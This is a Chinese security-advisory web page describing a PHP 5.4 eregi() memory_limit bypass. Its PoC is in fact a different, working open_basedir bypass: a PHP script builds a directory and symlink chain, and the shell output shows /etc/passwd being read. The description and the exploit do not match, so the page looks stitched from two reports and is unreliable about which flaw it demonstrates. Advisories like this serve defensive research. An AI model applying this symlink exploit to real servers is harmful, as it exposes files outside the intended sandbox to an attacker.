Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / PHP 5.4/5.3弃用函数eregi() memory_limit绕过漏洞

发布日期:2012-03-30
更新日期:2012-04-01受影响系统:
PHP PHP 5.4.0
描述:
--------------------------------------------------------------------------------
PHP 是一种HTML内嵌式的语言,PHP与微软的ASP颇有几分相似,都是一种在服务器端执行的嵌入HTML文档的脚本语言,语言的风格有类似于C语言,现在被很多的网站编程人员广泛的运用。PHP 5.3之后版本弃用了基于POSIX正则表达式的函数,在5.4.0版本中,仍然使用这些函数,导致了绕过memory_limit,通过eregi()耗尽内存。<*来源:Maksymilian Arciemowicz (max@jestsuper.pl)
 
  链接:http://marc.info/?l=bugtraq&m=133311683110469&w=2
        http://www.linuxidc.com/Linux/2012-04/57823.htm
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!PoC:
127# cat sym.php
<?php
symlink("/etc/passwd", "./symlink");
?>
127# php sym.php
PHP Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not
within the allowed path(s): (/www) in /www/test/sym.php on line 2Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not
                within the allowed path(s): (/www) in
/www/test/sym.php on line 2
127# open_basedir will disallow /etc/passwd. Let`s see:
127# ls -la
total 8
drwxr-xr-x 2 www www 512 Oct 20 00:33 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
-rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
-rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
127# pwd
/www/test
127# cat kakao.php
<?php
mkdir("abc");
chdir("abc");
mkdir("etc");
chdir("etc");
mkdir("passwd");
chdir("..");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");
?>127# php kakao.php
127# ls -la
total 12
drwxr-xr-x 4 www www 512 Oct 20 00:37 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
drwxr-xr-x 4 www www 512 Oct 20 00:37 abc
lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd
-rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
-rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink
127# cat exploit
# passwd
#
root:*:0:0:god:/root:/bin/csh
..now "tmplink" is a directory. so link "exploit" will be "../../etc/passwd". We don"t
need bypass open_basedir, it is a design mistake. PHP will allow
"tmplink/../../../etc/passwd" because ./tmplink/../../../etc/passwd really exists.PoC:
http://cxsecurity.com/issue/WLB-2012030270Remember. Don"t use open_basedir as a main security feature.建议:
--------------------------------------------------------------------------------
厂商补丁:PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.php.net多个厂商libc "regcomp()"栈耗尽拒绝服务漏洞Cisco IOS RSVP功能远程拒绝服务漏洞相关资讯      PHP漏洞 
  • PHP "ext/zip/php_zip.c"释放后重  (今 07:48)
  • PHP "ext/standard/file.c" 远程拒  (09月12日)
  • PHP "php_html_entities()" 函数整  (09月11日)
  • PHP ext/session/session.c对象注  (09月14日)
  • PHP "libxml_disable_entity_  (09月11日)
  • PHP "soap/php_http.c" 远程拒绝服  (09月11日)
本文评论 查看全部评论 (0)
表情: 姓名: 字数